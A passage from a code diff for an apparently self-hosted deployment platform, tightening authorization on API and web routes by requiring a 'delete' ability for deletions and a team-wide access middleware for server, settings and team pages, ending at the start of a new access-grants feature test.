Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/databases/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'database') ->middleware(['api.ability:write']); @@ -352,17 +352,17 @@ Route::group([ ->middleware(['api.ability:write', 'api.ability:deploy']); Route::delete('/databases/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'database') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/tags', [DatabasesController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/tags', [DatabasesController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/tags/{tag_uuid}', [DatabasesController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/tags/{tag_uuid}', [DatabasesController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/databases/{uuid}/move', [DatabasesController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/databases/{uuid}/migrate', [DatabasesController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -379,12 +379,12 @@ Route::group([ Route::get('/services/{uuid}', [ServicesController::class, 'service_by_uuid'])->middleware(['api.ability:read']); Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write', 'api.ability:deploy']); + Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/services/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'service') ->middleware(['api.ability:write']); @@ -393,18 +393,18 @@ Route::group([ ->middleware(['api.ability:write', 'api.ability:deploy']); Route::delete('/services/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'service') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/logs', [ServicesController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/services/{uuid}/tags', [ServicesController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/tags', [ServicesController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/tags/{tag_uuid}', [ServicesController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/tags/{tag_uuid}', [ServicesController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/services/{uuid}/move', [ServicesController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/services/{uuid}/migrate', [ServicesController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -441,14 +441,14 @@ Route::group([ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks/{task_uuid}/execute', [ScheduledTasksController::class, 'execute_scheduled_task_by_application_uuid'])->middleware(['api.ability:deploy']); Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks/{task_uuid}/execute', [ScheduledTasksController::class, 'execute_scheduled_task_by_service_uuid'])->middleware(['api.ability:deploy']); }); diff --git a/routes/web.php b/routes/web.php index 3939286d7a..a2b024e186 100644 --- a/routes/web.php +++ b/routes/web.php @@ -208,11 +208,13 @@ Route::middleware(['auth', 'verified'])->group(function () { })->name('two-factor.required.switch-team'); Route::get('/', Dashboard::class)->name('dashboard'); - Route::get('/dashboard/canvas', DashboardCanvas::class)->name('dashboard.canvas'); - Route::get('/analytics', Analytics::class)->name('analytics'); - Route::get('/metrics', FleetMetrics::class)->name('metrics'); - Route::get('/canvas', DeployCanvas::class)->name('deploy-canvas'); - Route::get('/canvas/tags', TagsCanvas::class)->name('tags.canvas'); + Route::middleware('access.team-wide')->group(function () { + Route::get('/dashboard/canvas', DashboardCanvas::class)->name('dashboard.canvas'); + Route::get('/analytics', Analytics::class)->name('analytics'); + Route::get('/metrics', FleetMetrics::class)->name('metrics'); + Route::get('/canvas', DeployCanvas::class)->name('deploy-canvas'); + Route::get('/canvas/tags', TagsCanvas::class)->name('tags.canvas'); + }); // The canvas calls these API controllers with the browser session (no API token). Route::prefix('canvas/api')->middleware([UseSessionTeamApiToken::class, 'api.token.team', 'api.sensitive'])->group(function () { Route::get('/projects', [ProjectController::class, 'projects'])->middleware(['api.ability:read']); @@ -227,28 +229,28 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::post('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links', [EnvironmentCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links/{link_uuid}', [EnvironmentCanvasController::class, 'updateLink'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links/{link_uuid}', [EnvironmentCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); - Route::get('/tags/canvas', [TagCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::post('/tags/canvas/links', [TagCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); - Route::delete('/tags/canvas/links/{link_id}', [TagCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); - Route::get('/shared-variables/team/canvas', [SharedVariableCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::post('/shared-variables/team/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); - Route::delete('/shared-variables/team/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); + Route::get('/tags/canvas', [TagCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::post('/tags/canvas/links', [TagCanvasController::class, 'storeLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::delete('/tags/canvas/links/{link_id}', [TagCanvasController::class, 'destroyLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::get('/shared-variables/team/canvas', [SharedVariableCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::post('/shared-variables/team/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::delete('/shared-variables/team/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->middleware(['access.team-wide', 'api.ability:write']); Route::get('/shared-variables/{scope}/{uuid}/canvas', [SharedVariableCanvasController::class, 'show'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:read']); Route::post('/shared-variables/{scope}/{uuid}/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:write']); Route::delete('/shared-variables/{scope}/{uuid}/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:write']); - Route::get('/servers', [ServersController::class, 'servers'])->middleware(['api.ability:read']); - Route::get('/servers/canvas', [ServerCanvasController::class, 'index'])->middleware(['api.ability:read']); - Route::patch('/servers/canvas/positions', [ServerCanvasController::class, 'updatePositions'])->middleware(['api.ability:write']); - Route::get('/dashboard/canvas', [ServerCanvasController::class, 'dashboard'])->middleware(['api.ability:read']); - Route::patch('/dashboard/canvas/positions', [ServerCanvasController::class, 'updatePositions'])->middleware(['api.ability:write']); - Route::get('/servers/{uuid}/canvas', [ServerCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/canvas/containers', [ServerCanvasController::class, 'containers'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/canvas/usage', [ServerCanvasController::class, 'usage'])->middleware(['api.ability:read']); - Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['api.ability:read']); - Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); - Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['api.ability:read']); - Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['api.ability:read']); - Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['api.ability:read']); + Route::get('/servers', [ServersController::class, 'servers'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/canvas', [ServerCanvasController::class, 'index'])->middleware(['access.team-wide', 'api.ability:read']); + Route::patch('/servers/canvas/positions', [ServerCanvasController::class, 'updatePositions'])->middleware(['access.team-wide', 'api.ability:write']); + Route::get('/dashboard/canvas', [ServerCanvasController::class, 'dashboard'])->middleware(['access.team-wide', 'api.ability:read']); + Route::patch('/dashboard/canvas/positions', [ServerCanvasController::class, 'updatePositions'])->middleware(['access.team-wide', 'api.ability:write']); + Route::get('/servers/{uuid}/canvas', [ServerCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{uuid}/canvas/containers', [ServerCanvasController::class, 'containers'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{uuid}/canvas/usage', [ServerCanvasController::class, 'usage'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['access.team-wide', 'api.ability:read']); Route::post('/applications/public', [ApplicationsController::class, 'create_public_application'])->middleware(['api.ability:write']); Route::post('/applications/private-github-app', [ApplicationsController::class, 'create_private_gh_app_application'])->middleware(['api.ability:write']); Route::post('/applications/private-deploy-key', [ApplicationsController::class, 'create_private_deploy_key_application'])->middleware(['api.ability:write']); @@ -273,19 +275,21 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/admin', AdminIndex::class)->name('admin.index'); Route::get('/onboarding', BoardingIndex::class)->name('onboarding'); - Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); - Route::get('/subscription/new', SubscriptionIndex::class)->name('subscription.index'); + Route::middleware('access.team-wide')->group(function () { + Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); + Route::get('/subscription/new', SubscriptionIndex::class)->name('subscription.index'); - Route::get('/settings', SettingsIndex::class)->name('settings.index'); - Route::get('/settings/advanced', SettingsAdvanced::class)->name('settings.advanced'); - Route::get('/settings/updates', SettingsUpdates::class)->name('settings.updates'); + Route::get('/settings', SettingsIndex::class)->name('settings.index'); + Route::get('/settings/advanced', SettingsAdvanced::class)->name('settings.advanced'); + Route::get('/settings/updates', SettingsUpdates::class)->name('settings.updates'); - Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); - Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); - Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); - Route::get('/settings/oauth/{provider}', SettingsOauth::class) - ->where('provider', '[A-Za-z0-9_-]+') - ->name('settings.oauth.provider'); + Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); + Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); + Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); + Route::get('/settings/oauth/{provider}', SettingsOauth::class) + ->where('provider', '[A-Za-z0-9_-]+') + ->name('settings.oauth.provider'); + }); Route::get('/profile', ProfileIndex::class)->name('profile'); Route::get('/profile/avatar', ProfileAvatarController::class)->name('profile.avatar'); Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance'); @@ -293,11 +297,11 @@ Route::middleware(['auth', 'verified'])->group(function () { ->middleware('password.confirm') ->name('profile.passkeys.confirm'); - Route::prefix('tags')->group(function () { + Route::prefix('tags')->middleware('access.team-wide')->group(function () { Route::get('/{tagName?}', TagsShow::class)->name('tags.show'); }); - Route::prefix('notifications')->group(function () { + Route::prefix('notifications')->middleware('access.team-wide')->group(function () { Route::get('/email', NotificationEmail::class)->name('notifications.email'); Route::get('/telegram', NotificationTelegram::class)->name('notifications.telegram'); Route::get('/discord', NotificationDiscord::class)->name('notifications.discord'); @@ -306,38 +310,38 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/webhook', NotificationWebhook::class)->name('notifications.webhook'); }); - Route::prefix('storages')->group(function () { + Route::prefix('storages')->middleware('access.team-wide')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); Route::get('/{storage_uuid}/danger', StorageShow::class)->name('storage.danger'); Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { - Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); - Route::get('/team', TeamSharedVariablesIndex::class)->name('shared-variables.team.index'); - Route::get('/team/canvas', SharedVariablesCanvas::class)->name('shared-variables.team.canvas'); + Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index')->middleware('access.team-wide'); + Route::get('/team', TeamSharedVariablesIndex::class)->name('shared-variables.team.index')->middleware('access.team-wide'); + Route::get('/team/canvas', SharedVariablesCanvas::class)->name('shared-variables.team.canvas')->middleware('access.team-wide'); Route::get('/projects', ProjectSharedVariablesIndex::class)->name('shared-variables.project.index'); Route::get('/project/{project_uuid}', ProjectSharedVariablesShow::class)->name('shared-variables.project.show'); Route::get('/project/{project_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.project.canvas'); Route::get('/environments', EnvironmentSharedVariablesIndex::class)->name('shared-variables.environment.index'); Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}', EnvironmentSharedVariablesShow::class)->name('shared-variables.environment.show'); Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.environment.canvas'); - Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index'); - Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show'); - Route::get('/server/{server_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.server.canvas'); + Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index')->middleware('access.team-wide'); + Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show')->middleware('access.team-wide'); + Route::get('/server/{server_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.server.canvas')->middleware('access.team-wide'); }); Route::prefix('team')->group(function () { - Route::get('/', TeamIndex::class)->name('team.index'); + Route::get('/', TeamIndex::class)->name('team.index')->middleware('access.team-wide'); Route::get('/{team_id}/avatar', TeamAvatarController::class)->whereNumber('team_id')->name('team.avatar'); - Route::get('/members', TeamMemberIndex::class)->name('team.member.index'); + Route::get('/members', TeamMemberIndex::class)->name('team.member.index')->middleware('access.team-wide'); Route::get('/members/{user_id}/avatar', ProfileAvatarController::class)->whereNumber('user_id')->name('team.member.avatar'); - Route::get('/audit-log', TeamAuditLog::class)->name('team.audit-log'); - Route::get('/admin', TeamAdminView::class)->name('team.admin-view'); - Route::get('/danger', TeamDangerZone::class)->name('team.danger-zone'); + Route::get('/audit-log', TeamAuditLog::class)->name('team.audit-log')->middleware('access.team-wide'); + Route::get('/admin', TeamAdminView::class)->name('team.admin-view')->middleware('access.team-wide'); + Route::get('/danger', TeamDangerZone::class)->name('team.danger-zone')->middleware('access.team-wide'); }); - Route::get('/terminal', TerminalIndex::class)->name('terminal')->middleware('can.access.terminal'); + Route::get('/terminal', TerminalIndex::class)->name('terminal')->middleware('can.access.terminal')->middleware('access.team-wide'); Route::post('/terminal/auth', function () { if (auth()->check()) { return response()->json(['authenticated' => true], 200); @@ -497,64 +501,69 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/tasks/{task_uuid}', fn () => redirect()->route('project.service.scheduled-tasks.show', get_route_parameters()))->name('project.service.scheduled-tasks'); }); - Route::get('/servers', ServerIndex::class)->name('server.index'); - Route::get('/servers/canvas', ServerCanvas::class)->name('server.canvas.index'); - Route::get('/registries', ServerDockerRegistries::class)->name('registries.index'); - Route::get('/servers/new', ServerCreatePage::class)->name('server.create')->middleware('can:create,'.Server::class); - Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger']); - Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual']); + Route::middleware('access.team-wide')->group(function () { + Route::get('/servers', ServerIndex::class)->name('server.index'); + Route::get('/servers/canvas', ServerCanvas::class)->name('server.canvas.index'); + Route::get('/registries', ServerDockerRegistries::class)->name('registries.index'); + Route::get('/servers/new', ServerCreatePage::class)->name('server.create')->middleware('can:create,'.Server::class); + Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger']); + Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual']); - Route::prefix('server/{server_uuid}')->group(function () { - Route::get('/', ServerShow::class)->name('server.show'); - Route::get('/canvas', ServerCanvas::class)->name('server.canvas'); - Route::get('/advanced', ServerAdvanced::class)->name('server.advanced'); - Route::get('/swarm', ServerSwarm::class)->name('server.swarm'); - Route::get('/sentinel', SentinelShow::class)->name('server.sentinel'); - Route::get('/sentinel/logs', SentinelLogs::class)->name('server.sentinel.logs'); - Route::get('/private-key', PrivateKeyShow::class)->name('server.private-key'); - Route::get('/cloud-provider-token', CloudProviderTokenShow::class)->name('server.cloud-provider-token'); - Route::get('/ca-certificate', CaCertificateShow::class)->name('server.ca-certificate'); - Route::get('/resources', ResourcesShow::class)->name('server.resources'); - Route::get('/cloudflare-tunnel', CloudflareTunnel::class)->name('server.cloudflare-tunnel'); - Route::get('/destinations', ServerDestinations::class)->name('server.destinations'); - Route::get('/log-drains', LogDrains::class)->name('server.log-drains'); - Route::get('/metrics', ServerCharts::class)->name('server.metrics'); - Route::get('/analytics', ServerAnalytics::class)->name('server.analytics'); - Route::get('/danger', DeleteServer::class)->name('server.delete'); - Route::get('/transfer', ServerTransfer::class)->name('server.transfer'); - Route::get('/proxy', ProxyShow::class)->name('server.proxy'); - Route::get('/proxy/certificates', ProxyCertificatesShow::class)->name('server.proxy.certificates'); - Route::get('/proxy/dynamic', ProxyDynamicConfigurations::class)->name('server.proxy.dynamic-confs'); - Route::get('/proxy/logs', ProxyLogs::class)->name('server.proxy.logs'); - Route::get('/terminal', ExecuteContainerCommand::class)->name('server.command')->middleware('can.access.terminal'); - Route::get('/docker-cleanup', DockerCleanup::class)->name('server.docker-cleanup'); - Route::get('/images', DockerImages::class)->name('server.docker-images'); - Route::get('/github-runners', GithubRunners::class)->name('server.github-runners'); - Route::get('/registries', ServerRegistries::class)->name('server.registries')->middleware('can.update.resource'); - Route::get('/security', fn () => redirect(route('dashboard')))->name('server.security')->middleware('can.update.resource'); - Route::get('/security/patches', Patches::class)->name('server.security.patches')->middleware('can.update.resource'); - Route::get('/security/terminal-access', TerminalAccess::class)->name('server.security.terminal-access')->middleware('can.update.resource'); + Route::prefix('server/{server_uuid}')->group(function () { + Route::get('/', ServerShow::class)->name('server.show'); + Route::get('/canvas', ServerCanvas::class)->name('server.canvas'); + Route::get('/advanced', ServerAdvanced::class)->name('server.advanced'); + Route::get('/swarm', ServerSwarm::class)->name('server.swarm'); + Route::get('/sentinel', SentinelShow::class)->name('server.sentinel'); + Route::get('/sentinel/logs', SentinelLogs::class)->name('server.sentinel.logs'); + Route::get('/private-key', PrivateKeyShow::class)->name('server.private-key'); + Route::get('/cloud-provider-token', CloudProviderTokenShow::class)->name('server.cloud-provider-token'); + Route::get('/ca-certificate', CaCertificateShow::class)->name('server.ca-certificate'); + Route::get('/resources', ResourcesShow::class)->name('server.resources'); + Route::get('/cloudflare-tunnel', CloudflareTunnel::class)->name('server.cloudflare-tunnel'); + Route::get('/destinations', ServerDestinations::class)->name('server.destinations'); + Route::get('/log-drains', LogDrains::class)->name('server.log-drains'); + Route::get('/metrics', ServerCharts::class)->name('server.metrics'); + Route::get('/analytics', ServerAnalytics::class)->name('server.analytics'); + Route::get('/danger', DeleteServer::class)->name('server.delete'); + Route::get('/transfer', ServerTransfer::class)->name('server.transfer'); + Route::get('/proxy', ProxyShow::class)->name('server.proxy'); + Route::get('/proxy/certificates', ProxyCertificatesShow::class)->name('server.proxy.certificates'); + Route::get('/proxy/dynamic', ProxyDynamicConfigurations::class)->name('server.proxy.dynamic-confs'); + Route::get('/proxy/logs', ProxyLogs::class)->name('server.proxy.logs'); + Route::get('/terminal', ExecuteContainerCommand::class)->name('server.command')->middleware('can.access.terminal'); + Route::get('/docker-cleanup', DockerCleanup::class)->name('server.docker-cleanup'); + Route::get('/images', DockerImages::class)->name('server.docker-images'); + Route::get('/github-runners', GithubRunners::class)->name('server.github-runners'); + Route::get('/registries', ServerRegistries::class)->name('server.registries')->middleware('can.update.resource'); + Route::get('/security', fn () => redirect(route('dashboard')))->name('server.security')->middleware('can.update.resource'); + Route::get('/security/patches', Patches::class)->name('server.security.patches')->middleware('can.update.resource'); + Route::get('/security/terminal-access', TerminalAccess::class)->name('server.security.terminal-access')->middleware('can.update.resource'); + }); + Route::get('/destinations', DestinationIndex::class)->name('destination.index'); + Route::get('/destination/{destination_uuid}', DestinationShow::class)->name('destination.show'); + Route::get('/destination/{destination_uuid}/danger', DestinationShow::class)->name('destination.danger'); + Route::get('/destination/{destination_uuid}/resources', DestinationResources::class)->name('destination.resources'); + + // Route::get('/security', fn () => view('security.index'))->name('security.index'); + Route::get('/security/private-key', SecurityPrivateKeyIndex::class)->name('security.private-key.index'); + // Route::get('/security/private-key/new', SecurityPrivateKeyCreate::class)->name('security.private-key.create'); + Route::get('/security/private-key/{private_key_uuid}', SecurityPrivateKeyShow::class)->name('security.private-key.show'); + + Route::get('/security/cloud-tokens', CloudTokens::class)->name('security.cloud-tokens'); + Route::get('/security/integration-tokens', IntegrationTokens::class)->name('security.integration-tokens'); + Route::get('/security/cloud-tokens/{cloud_token_uuid}', SecurityCloudProviderTokenShow::class)->name('security.cloud-tokens.show'); + Route::get('/security/cloud-init-scripts', CloudInitScripts::class)->name('security.cloud-init-scripts'); + Route::get('/security/cloud-init-scripts/{cloud_init_script_uuid}', SecurityCloudInitScriptShow::class)->name('security.cloud-init-scripts.show'); }); - Route::get('/destinations', DestinationIndex::class)->name('destination.index'); - Route::get('/destination/{destination_uuid}', DestinationShow::class)->name('destination.show'); - Route::get('/destination/{destination_uuid}/danger', DestinationShow::class)->name('destination.danger'); - Route::get('/destination/{destination_uuid}/resources', DestinationResources::class)->name('destination.resources'); - - // Route::get('/security', fn () => view('security.index'))->name('security.index'); - Route::get('/security/private-key', SecurityPrivateKeyIndex::class)->name('security.private-key.index'); - // Route::get('/security/private-key/new', SecurityPrivateKeyCreate::class)->name('security.private-key.create'); - Route::get('/security/private-key/{private_key_uuid}', SecurityPrivateKeyShow::class)->name('security.private-key.show'); - - Route::get('/security/cloud-tokens', CloudTokens::class)->name('security.cloud-tokens'); - Route::get('/security/integration-tokens', IntegrationTokens::class)->name('security.integration-tokens'); - Route::get('/security/cloud-tokens/{cloud_token_uuid}', SecurityCloudProviderTokenShow::class)->name('security.cloud-tokens.show'); - Route::get('/security/cloud-init-scripts', CloudInitScripts::class)->name('security.cloud-init-scripts'); - Route::get('/security/cloud-init-scripts/{cloud_init_script_uuid}', SecurityCloudInitScriptShow::class)->name('security.cloud-init-scripts.show'); Route::get('/security/api-tokens', ApiTokens::class)->name('security.api-tokens'); }); Route::middleware(['auth'])->group(function () { Route::get('/select-team', SelectTeam::class)->name('team.select'); +}); + +Route::middleware(['auth', 'access.team-wide'])->group(function () { Route::get('/sources', function () { $sources = currentTeam()->sources(); diff --git a/tests/Feature/Access/AccessGrantsTest.php b/tests/Feature/Access/AccessGrantsTest.php new file mode 100644 index 0000000000..d82e596ade --- /dev/null +++ b/tests/Feature/Access/AccessGrantsTest.php @@ -0,0 +1,142 @@ +team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = $server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $this->blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = accessGrantsTestApplication($this->shopProduction, $this->destination); + $this->blogWeb = accessGrantsTestApplication($this->blogStaging, $this->destination); + $this->blogWorker = accessGrantsTestApplication($this->blogStaging, $this->destination); +}); + +function accessGrantsTestApplication(Environment $environment, $destination): Application +{ + return Application::factory()->create([ + 'environment_id' => $environment->id, + 